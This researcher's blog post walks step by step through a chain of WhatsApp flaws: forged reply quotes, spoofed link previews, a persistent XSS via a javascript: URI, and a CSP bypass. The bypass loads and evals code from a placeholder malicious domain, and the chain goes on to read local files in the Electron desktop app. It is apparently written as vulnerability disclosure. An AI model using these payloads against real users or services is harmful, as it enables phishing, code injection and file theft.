&lt;p&gt;Back in 2017, while I was traveling in Peru, I found a security flaw that Check Point published a few months later. That flaw was simple. In the words of Check Point’s researchers in this article published in 2018, it allowed an attacker to “alter the text of someone else’s reply, essentially putting words in their mouth.”&lt;/p&gt;
&lt;p&gt;It was cool, but back then I couldn’t come up with any idea of further exploiting the flaw or finding related flaws. So except for trolling my friends a couple of times in our group chat, I kind of let it go.&lt;/p&gt;
&lt;p&gt;A year later, I decided to continue my research. I really wanted to find a major security flaw in a well-known and widely used service, and I felt like WhatsApp was a good start. So I gave it a go since I already had some clue of existing security flaws in WhatsApp mobile and web applications.&lt;/p&gt;
&lt;p&gt;I was not ready for what the next few months brought with them, but I can assure you - it was one hell of a ride. I managed to find four more unique security flaws in WhatsApp which led me all the way to persistent XSS and even reading from the local file system - by using a single message.&lt;/p&gt;
&lt;p&gt;This was my process:&lt;/p&gt;
&lt;h3 id=&quot;my-original-finding---altering-the-text-of-someone-elses-reply&quot;&gt;1. My original finding - ‘altering the text of someone else’s reply’&lt;/h3&gt;
&lt;p&gt;First, let’s talk about what I found in the first place, in 2017, since it is the foundation for this research.&lt;/p&gt;
&lt;p&gt;I originally thought: “Using WhatsApp web, I can find the line of code where the object containing the metadata of the message is being formed, tamper with it, and then let the app continue in its natural message-sending flow, thus crafting my message while bypassing the UI filtering mechanism.”&lt;/p&gt;
&lt;p&gt;So for example, by using this technique, I can alter the text of a reply to a message and send it, something I can’t achieve by legitimately using WhatsApp Web UI.
I found that line and managed to have a look at the Object containing the metadata of the message. You can find this line by looking up &lt;code&gt;return Promise.callSynchronously(function()&lt;/code&gt; in the entire code and set a breakpoint at &lt;code&gt;var t = e.id;&lt;/code&gt;. It had a lot of interesting fields, so we’ll focus here on the relevant ones:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;__x_body&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Why would you say that?!&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;__x_type&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;chat&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;__x_quotedMsg&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;I think you are the best!&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;chat&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;mentionedJidList&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[],&lt;/span&gt;
        &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;isForwarded&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;labels&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
    &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;__x_quotedStanzaID&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;3EB0E42AC64D3D9BC5E7&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;So essentially, I discovered that by simply running:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;__x_quotedMsg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;I think you are the worst!&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// alter the text&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;__x_quotedStanzaID&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;__x_quotedStanzaID&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// change the id of the original message&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;before allowing the message send to execute, you’ll get this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/1.jpg&quot; alt=&quot;1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;(This works for WhatsApp iOS/Android/Windows Desktop/Mac Desktop/Web)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The body of the reply quote is of a message that I have made up and was never really sent in the current conversation.
That’s cool, but not that powerful.&lt;/p&gt;
&lt;p&gt;What else can I take apart? What about messages with rich preview banners?&lt;/p&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block; text-align:center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-1379968351324902&quot; data-ad-slot=&quot;5348991370&quot;&gt;&lt;/ins&gt;&lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;&lt;/p&gt;
&lt;h3 id=&quot;dangerous-open-redirect-flaw-in-messages-with-rich-preview-banner-using-&quot;&gt;2. Dangerous Open-Redirect flaw in messages with rich preview banner using “@”&lt;/h3&gt;
&lt;p&gt;This is where this research becomes way more interesting. Messages with rich preview banners are messages that include banners with extra information regarding a link that is in the body of the message. So for example, if I send a message with “&lt;a href=&quot;https://facebook.com&quot;&gt;https://facebook.com&lt;/a&gt;” as its body, the receiver will get this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/2.jpg&quot; alt=&quot;2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;On WhatsApp the banner is being generated on the side of the sender and this is an important point to understand. One can easily tamper with the banner properties before sending it to the receiver. Great recipe for trouble right here!&lt;/p&gt;
&lt;p&gt;The first thing I did was to craft a message that will include a legitimate looking banner, but will redirect to another domain instead by simply replacing the link:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;__x_body&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;__x_matchedText&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;https://example.com&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;And this is what I got:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/3.jpg&quot; alt=&quot;3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;(This works for WhatsApp iOS/Android/Windows Desktop/Mac Desktop/Web)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Cool! Now even though the banner seems like it comes from Facebook, clicking the link will redirect to &lt;a href=&quot;https://example.com&quot;&gt;https://example.com&lt;/a&gt;!&lt;/p&gt;
&lt;p&gt;Being familiar with all sorts of tricks used by malicious actors in the world of web, I experimented with this idea to see if this open redirect can be made more dangerous:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;__x_body&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;__x_matchedText&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Join Facebook! https://facebook.com+login_oage&amp;amp;welcome_to_facebook=true&amp;amp;timestamp=42837643@bit.ly/2SfZikR Become a friend of mine!&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/4.jpg&quot; alt=&quot;4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;(This works for WhatsApp iOS/Android/Windows Desktop/Mac Desktop/Web)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;See what I did? I managed to not only mess with the banner’s link, but also crafted a message with a link that looks like it belongs to &lt;a href=&quot;https://facebook.com&quot;&gt;https://facebook.com&lt;/a&gt; while the link will always redirect to &lt;a href=&quot;https://example.com&quot;&gt;https://example.com&lt;/a&gt;!&lt;/p&gt;
&lt;p&gt;This is dangerous because it appears authentic since both the banner and the link look like they really do belong to &lt;a href=&quot;https://facebook.com&quot;&gt;https://facebook.com&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This works thanks to the role “@” plays in the &lt;a href=&quot;https://www.w3.org/Addressing/URL/url-spec.txt&quot;&gt;spec of URL&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;The purpose of “@” in URLs is to pass username and password to visited domains in the following way: &lt;code&gt;https://USERNAME:PASSWORD@DOMAIN.COM&lt;/code&gt;. One can abuse this, as I just did, and replace the username and password with anything else: &lt;code&gt;https://DOMAIN-A.COM@DOMAIN-B.com&lt;/code&gt; and it’ll still work. Firefox is the only browser that warns users, by default, In case this method is used without providing a username and password.&lt;/p&gt;
&lt;p&gt;And then it hit me - if I can tamper with the message and send any link, would I be able to use &lt;code&gt;javascript:&lt;/code&gt; URIs?&lt;/p&gt;
&lt;h3 id=&quot;from-an-open-redirect-to-a-persistent-xss-using-codejavascriptcode-uris&quot;&gt;3. From an Open-Redirect to a Persistent-XSS using &lt;code&gt;javascript:&lt;/code&gt; URIs&lt;/h3&gt;
&lt;p&gt;YES! But it’s not as simple as that.&lt;/p&gt;
&lt;p&gt;At first, that’s exactly what I did:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;__x_body&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;__x_matchedText&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;javascript:alert(document.domain)&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;But it didn’t work. WhatsApp seemed to drop the banner on the receiving side. After a few failed attempts a thought came to my mind: maybe this happens because WhatsApp looks at the link that is attached to the banner and expects it to include a legitimate &lt;code&gt;https:&lt;/code&gt; scheme URI?&lt;/p&gt;
&lt;p&gt;So channeling my inner hacker , I did this:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;__x_body&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;__x_matchedText&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;javascript:&quot;https://example.com&quot;;alert(document.domain)&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;AND IT WORKED!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/5.jpg&quot; alt=&quot;5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;(This works for WhatsApp Windows Desktop/Mac Desktop/Web)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Gained a one-click Persistent-XSS!&lt;/p&gt;
&lt;p&gt;Fortunately for WhatsApp, Chromium based browsers added a defense mechanism against &lt;code&gt;javascript:&lt;/code&gt; URIs just when I found this vulnerability. Unfortunately for WhatsApp, on other browsers such as Safari and Edge, this vulnerability was still wide open.The picture above is using Brave - an older version of the Chromium based browser.&lt;/p&gt;
&lt;p&gt;When clicked, the message on native mobile WhatsApp apps normally opens &lt;a href=&quot;https://example.com&quot;&gt;https://example.com&lt;/a&gt; instead of running the XSS (Obviously, because XSS is rarely relevant for native mobile apps).&lt;/p&gt;
&lt;p&gt;Now, I couldn’t achieve a state in which the payload is not a visible part of the message. This is because WhatsApp has a part in their code that checks whether the content of the link URI is included in the body of the message when the messages are being loaded.
If there is no match, WhatsApp will omit the banner and the exploit won’t work. The best I managed to achieve was to create a long enough message, so the “Read more..” feature would turn on, and make sure the actual payload would be at the very bottom of the body of the message where you could only see it if you clicked “Read more..”.&lt;/p&gt;
&lt;p&gt;I had to think of a way to manage to create a very small payload that would load a bigger payload from a different origin, to make the entire thing as unsuspicious as possible. This would mean bypassing WhatsApp’s CSP rules, which would not be an easy task.&lt;/p&gt;
&lt;h3 id=&quot;bypassing-whatsapps-csp-rules-in-order-to-enhance-the-power-of-the-persistent-xss&quot;&gt;4. Bypassing WhatsApp’s CSP rules in order to enhance the power of the Persistent-XSS&lt;/h3&gt;
&lt;p&gt;Bypassing CSP rules is made easier by &lt;a href=&quot;https://csp-evaluator.withgoogle.com/&quot;&gt;Google’s CSP Evaluator&lt;/a&gt;. You just throw the URL address of the target website into the text box, and it immediately tells you its CSP configuration and how safe (or unsafe) the website is:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/6.jpg&quot; alt=&quot;6&quot; /&gt;&lt;/p&gt;
&lt;p&gt;You see that &lt;code&gt;object-src [missing]&lt;/code&gt; down there? (😈)&lt;/p&gt;
&lt;p&gt;This is what I am going to do. Using my &lt;code&gt;javascript:&lt;/code&gt; trick, I am going to inject the following payload to my malicious message:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;`
  hard_expire_time.innerHTML +=
  &apos;&amp;lt;object data=&quot;https://MY_MALICIOUS_DOMAIN/MY_PAYLOAD_IFRAME.html&quot; /&amp;gt;&apos;;
  onmessage=(e)=&amp;gt;{eval(JSON.parse(e.data))};
`&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;`javascript:&quot;https://facebook.com&quot;;eval(atob(&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;btoa&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;))`&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;__x_body&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;__x_matchedText&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;And the content of &lt;code&gt;https://MY_MALICIOUS_DOMAIN/MY_PAYLOAD_IFRAME.html&lt;/code&gt; would be:&lt;/p&gt;
&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;head&amp;gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;top&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;postMessage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
	     &lt;span class=&quot;nx&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;stringify&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
		    &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;open(&apos;https://facebook.com&apos;);
        alert(&apos;external payload&apos;);&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;
	     &lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
      &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;(This works for WhatsApp Web)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;See what I just did?
Since &lt;code&gt;object-src&lt;/code&gt; directive is missing, it means I can use &lt;code&gt;object&lt;/code&gt; to load an iframe(ish) to any origin of my choice. That way I’ll be able to run any external code with no size limits and no problems! All that is left to do is to execute that code on &lt;code&gt;web.whatsapp.com&lt;/code&gt; domain and not on my own iframe’s domain, otherwise that’ll be pretty useless.&lt;/p&gt;
&lt;p&gt;To achieve that, I simply use the XSS to load the iframe and then listen to the messages that are posted by different windows. I then use the iframe to post a message to the top window with the content of the external code.&lt;/p&gt;
&lt;p&gt;The top window, where the XSS was executed, receives the message from the iframe, parses the external payload provided by it and executes it in its context (&lt;code&gt;web.whatsapp.com&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Win! External payload was successfully fetched and executed in the context of WhatsApp!&lt;/p&gt;
&lt;p&gt;Oh, and that &lt;code&gt;hard_expire_time.innerHTML&lt;/code&gt; trick? It was the shortest way I could think of at the moment to make the DOM load my Object element (&lt;code&gt;hard_expire_time&lt;/code&gt; is an element in the DOM of the website).&lt;/p&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block; text-align:center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-1379968351324902&quot; data-ad-slot=&quot;5348991370&quot;&gt;&lt;/ins&gt;&lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;&lt;/p&gt;
&lt;h3 id=&quot;from-persistent-xss-to-reading-from-the-file-system-on-macwindows-with-a-potential-for-rce&quot;&gt;5. From Persistent-XSS to Reading from the File System on Mac/Windows with a potential for RCE&lt;/h3&gt;
&lt;p&gt;Surprisingly, this is the easy part. WhatsApp has desktop applications for both Mac and Windows.&lt;/p&gt;
&lt;p&gt;I was very skeptical about being able to use the cool XSS I’d found on the desktop applications. After all, they’re probably not made of HTML and JS, right?&lt;/p&gt;
&lt;p&gt;I clicked the same malicious message I used on the web app through the Windows desktop application and I was amazed to see this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/7.jpg&quot; alt=&quot;7&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;(This works for WhatsApp Windows Desktop/Mac Desktop/Web)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;WOW! I mean, the &lt;code&gt;document.domain&lt;/code&gt; part didn’t really work - but the &lt;code&gt;alert()&lt;/code&gt; part sure did! How is that possible?!&lt;/p&gt;
&lt;p&gt;I went online, knowing very well I would find an answer, and this was what I quickly discovered:&lt;/p&gt;
&lt;p&gt;These types of applications are written using &lt;a href=&quot;https://electronjs.org/&quot;&gt;Electron&lt;/a&gt;.
Electron is a cool platform that lets you create “native” applications using standard web features. This makes things super easy for a lot of big companies since it allows them to have one source code for both their web applications and native desktop applications. Electron constantly updates along with the platform it is based on: Chromium.&lt;/p&gt;
&lt;p&gt;That means my XSS works since this is - after all - a variant of Chromium!&lt;/p&gt;
&lt;p&gt;But wait, earlier I’ve learned that my &lt;code&gt;javascript:&lt;/code&gt; trick doesn’t work on Chromium based browsers since the recent patch. So why does this XSS work on Electron?&lt;/p&gt;
&lt;p&gt;I decided to use my XSS to alert the userAgent of the currently running application, and the following major security flaw blew-my-mind:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/8.jpg&quot; alt=&quot;8&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;(This works for WhatsApp Windows Desktop/Mac Desktop)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;For experienced vulnerability researchers, there is enough data in this alert message to immediately identify the RCE potential, so take a second, and think about it!&lt;/p&gt;
&lt;p&gt;That’s right - &lt;code&gt;Chrome/69&lt;/code&gt; - the latest version of the WhatsApp desktop applications provided by WhatsApp is &lt;code&gt;Chrome/69&lt;/code&gt; based. This vulnerability was found when &lt;code&gt;Chrome/78&lt;/code&gt; was the stable version! A few versions before &lt;code&gt;Chrome/78&lt;/code&gt;, the ability to use the &lt;code&gt;javascript:&lt;/code&gt; trick was patched, and if WhatsApp would have updated their Electron web application from 4.1.4 to the latest which was 7.x.x at the time this vulnerability was found(!) - this XSS would never have existed!&lt;/p&gt;
&lt;p&gt;And even worse - Since Chromium 69 is relatively old, exploiting a 1-day RCE is possible! There are more than 5 different 1-day RCEs in Chromium 69 or higher, you just need to find a published one and use it through the persistent XSS found earlier and BAM: Remote Code Execution ACHIEVED!&lt;/p&gt;
&lt;p&gt;I did not take the time to actually exploit a public RCE, and therefore didn’t get the chance to prove the existence of such a vulnerability, but the theoretical concept is as follows: if you run an old version of a vulnerable app, one can exploit that vulnerability and do bad things to you. I did however demonstrated how I use &lt;code&gt;fetch()&lt;/code&gt; API, for example, to read files from the local OS like the content of &lt;code&gt;C:\Windows\System32\drivers\etc\hosts&lt;/code&gt; file in this case:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/9.jpg&quot; alt=&quot;9&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;(This works for WhatsApp Windows Desktop/Mac Desktop)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;For some reason, the CSP rules were not an issue with the Electron based app, so fetching an external payload using a simple javascript resource worked. This is the payload I used the XSS to fetch and execute from my remote malicious server:&lt;/p&gt;
